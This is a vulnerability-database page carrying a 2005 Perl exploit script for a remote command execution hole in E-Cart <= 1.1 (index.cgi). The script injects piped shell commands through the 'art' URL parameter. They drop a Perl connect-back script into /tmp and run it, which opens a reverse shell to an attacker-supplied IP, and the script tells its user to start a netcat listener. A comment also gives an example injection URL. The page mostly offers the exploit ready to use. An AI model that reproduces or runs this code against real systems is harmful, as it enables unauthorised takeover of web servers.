Lucene search
K

E-Cart <= 1.1 (index.cgi) Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

E-Cart E-Commerce software index.cgi Remote Command Execution Vulnerability affecting version <= 1.

Code

                                                #!/usr/bin/perl
#
# Example added if code doesn&#39;t work for ya:
# http://SITE/DIRTOECART/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|uname%20-a|
# /str0ke
#
#
# info: [email protected]
#
use IO::Socket; 

print &#34;\n\n ~~ www.badroot.org ~~ \n\n&#34;;
print &#34; E-Cart E-Commerce Software index.cgi\n&#34;;
print &#34; Remote Command Execution Vulnerability\n&#34;;
print &#34; Affected version: &#60;= E-Cart 2004 v1.1\n&#34;;
print &#34; http://www.securityfocus.com/archive/1/396748/2005-04-20/2005-04-26/0  \n\n&#34;;
print &#34; ~~ code by z\\ ~~\n\n\n&#34;;
print &#34; 04.23.2005\n\n\n&#34;;


print &#34;hostname: \n&#34;; 
chomp($server=&#60;STDIN&#62;);  

print &#34;port: (default: 80)\n&#34;;
chomp($port=&#60;STDIN&#62;);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq &#34;&#34; );

print &#34;path: (/cgi-bin/ecart/)\n&#34;;
chomp($path=&#60;STDIN&#62;);

print &#34;your ip (for reverse connect): \n&#34;;
chomp($ip=&#60;STDIN&#62;);

print &#34;your port (for reverse connect): \n&#34;;
chomp($reverse=&#60;STDIN&#62;);


print &#34; \n\n&#34;;
print &#34;~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~\r\n&#34;;

print &#34;[*] try to exploiting...\n&#34;; 

$string=&#34;/$path/index.cgi?action=viewart&cat=reproductores_dvd&art=reproductordvp-ns315.dat|cd /tmp;echo &#34;.q{use Socket;$execute= &#39;echo &#34;`uname -a`&#34;;echo &#34;`id`&#34;;/bin/sh&#39;;$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die(&#34;Error: $!\n&#34;);$paddr=sockaddr_in($port, $iaddr) || die(&#34;Error: $!\n&#34;);$proto=getprotobyname(&#39;tcp&#39;);socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(&#34;Error: $!\n&#34;);connect(SOCKET, $paddr) || die(&#34;Error: $!\n&#34;);open(STDIN, &#34;&#62;&SOCKET&#34;);open(STDOUT, &#34;&#62;&SOCKET&#34;);open(STDERR, &#34;&#62;&SOCKET&#34;);system($execute);close(STDIN)}.&#34; &#62;&#62;cbs.pl;perl cbs.pl $ip $reverse|&#34;;

print &#34;[*] OK! \n&#34;; 
print &#34;[*] NOW, run in your box: nc -l -vv -p $reverse\n&#34;;
print &#34;[*] starting connect back on $ip :$reverse\n&#34;;
print &#34;[*] DONE!\n&#34;;
print &#34;[*] Loock netcat windows and funny\n\n&#34;;
$socket=IO::Socket::INET-&#62;new( PeerAddr =&#62; $server, PeerPort =&#62; $port, Proto =&#62; tcp) 
or die; 


print $socket &#34;POST $path HTTP/1.1\n&#34;; 
print $socket &#34;Host: $server\n&#34;;
print $socket &#34;Accept: */*\n&#34;;
print $socket &#34;User-Agent: 7330ecart\n&#34;;
print $socket &#34;Pragma: no-cache\n&#34;;
print $socket &#34;Cache-Control: no-cache\n&#34;;
print $socket &#34;Connection: close\n\n&#34;;

print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;;
print &#34; WARNING - WARNING - WARNING - WARNING   \r\n&#34;;
print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\n&#34;;
print &#34;If connect back shell not found:\n&#34;;
print &#34;- you do not have privileges to write in /tmp\n&#34;;
print &#34;- Shell not vulnerable\n\n\n&#34;;
print &#34;Greetz: albythebest - #badroot irc.us.azzurra.org - #hacker.eu us.ircnet.org\n\n\n&#34;;


# milw0rm.com [2005-04-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
10